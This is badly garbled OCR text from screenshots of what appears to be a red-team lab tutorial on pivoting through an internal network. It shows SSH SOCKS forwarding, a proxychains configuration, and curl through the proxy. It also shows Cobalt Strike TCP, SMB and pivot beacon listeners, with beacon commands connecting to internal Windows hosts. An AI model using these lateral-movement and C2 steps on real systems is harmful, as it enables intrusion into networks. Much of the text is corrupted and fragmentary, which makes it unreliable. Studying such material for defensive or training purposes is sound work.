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2[R 72:06. 3 ZAMGII0.10.1/24(]
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1.23.4
192.168.1.1/24
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~/Desktop
-L 1880:127.0.0.1:1880 rootats
Welcome to Ubuntu B S (GNU/Linux 5.4.0-1018-aws x86_64)

* Documentation: : elp.ubuntu. com
* Management: ://landscape.canonical.com
* Support: :/fubuntu.com/advantage

System information as of Wed May 31 2

System load:
Usage of /:

in:
for eth@:
for eth@:

* Ubuntu Pro delivers the most comprehensive open source security and
compliance features.

https://ubuntu.com/aws/pro

[TITI111 DcO03 [T1 ADCS [TIITIIIID curl [11] proxychains 111

~/Desktop
curl http://f

chains] preloading fusr/1i _4'—1inux—gnuﬁlibpraxgchain5.59.&
hains] DLL ini proxychains-ng 4.16
Trying 172.16.1.3

[proxychains] Dynamic
* Conn 7

» GET / 5TV /
> Host: 172.16.1.3

> User-Agent: curl/7
> Accept: */*

[T] Socks

(T Stetod priaxyidhains4.conf [TT1111]

[ ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"
socks4 127.0.0.1 1080
socks4 <VPS [ITp 1080


https://raven-medicine.com/uploads/images/gallery/2023-05/29hIK2QmraB3EF6D-image.png
https://raven-medicine.com/uploads/images/gallery/2023-05/7r5UMpJAhzebzcFN-image.png

(10 SSH O VM [I1T1] Socks 1]

~/Desktop
rootgts -0 1088
Welcome to Ubuntu 2@.04 LTS (GNU/Linux 5.4.0-1018

Documentation: ://fhelp.ubuntu. com
Management: :/flandscape.canonical.com
t: Sfubuntu. com/advantag

~/Desktop

curl http
chains] config :
chains] prel g
chains] DLL init:
ying 172.16.1.3

i217.0.0.1:1080 ... 172.26.5.81:1080 ... 172.16.1.31:80 [T111T]

C2

0 CS [MP2P Beacon OTTTTTITTITITTTITTITITITITITITITITITITT Beacon [TT1T]

TCP Beacon

NCP MM T T T AT T ITT TCP T
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New Listener ®

Create a listener.

Name: |[tcp |

Pamoad:[Beacon'TCP v]

Payload Options

Port (C2): (4444

[71Bind to localhost only

(111 TCP Beacon [11] DcO5 [T (OT0 WinRMORDPOSSH [T T T TTITTITITITI

EN Administrator: Windows PowerShell

S C:yvwind

'S C:wwind
TR a8 - B.8: LISTEMNING
UDP B -

[JWebO02 []Beacorconhdd¢¥]172.16.1.51 4444[TTTT1T] DcO5 [TTTTTIIIIIIIT]

beacon> connect 172.16.1.51 4444

[*] Tasked to connect to 172.16.1.51:4444

[+] host called home, sent: 34 bytes

[+] established link to child beacon: 172.16.1.51

[WEBO2] serveradm */1460 (x64)
beacon=

[T Web02 1] Dc05 [I11] D05 O TCP [I111

DCO5 @ 4908
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SMB Beacon
[0 SYB T

Edit Listener x

Create a listener.

Mame:

Payload:

Payload Options

Pipename (C2): _[mojo 5EBB.B052.1B3894539787088877598

[0 DcO5 [11] SMB Beacon[TTTTHAK L2 LE WEBOITITITITPCOS5 1] SMB [TTITITITITITIT Web02 [T] DcOt

serveradm * ]
WEBOZ @ 1460 DCO5 @ 3544

[ITTTSMB [ TCP [TI11 2 01 P2P (I HTTP/HTTPS [IITIITTTITIT]

1110 P2P [TITTTITN C2 T T TTITTT €2 (TITTTITT €2 (T

2T T T

30 OTO/TCP O

(MR MER TOA VTP BEEE & DI T T TITTT]
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Pivot Beacon

[ITITITTT] Beacon [ITTTITTTTITITITITITITITINT TCP (TTTTTITITIT

SOCKS Server

— , Spawn Listener...

Event Log X Listeners X | Pra T 16,1 52@5260 X
Sgssion + | Deploy VPN

L Pt P | S

Mew Listener

o |

A pivot listener is a way to use a compromised system as
a redirector for other Beacon sessions.

Name: [webﬂz ]

Payload: [windows;beacon_reverse_tcp - ]

Listen Host: [172.16.1.52 ]

Listen Port: [5555 |

Session [seweradm*via 172 .16, 1.52@1460 H_]

I Save H Help ]

[TIIIII Web02 [IT] 5555 [1T]
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beacon= powershell netstat -ano | findstr 5555
[*] Tasked beacon to run: netstat -ano | findstr 5555

[+] host called home, sent: 171 bytes
[+]1 received output
#= CLIXML
TCP 0.0.0,0:5555 0.0.0,0:0 LISTENING

0 DcO5 I Dc05 IITITIITITITIIIITI De05 1] Web02 1]

DCOS @ 2296

0 SMB/TCRITITANIMMENITTO2 [TTTTTTITIIIT]

'< <
“ DS

BZIPARRSS 28 =2

EH1 ZEEH2

i}
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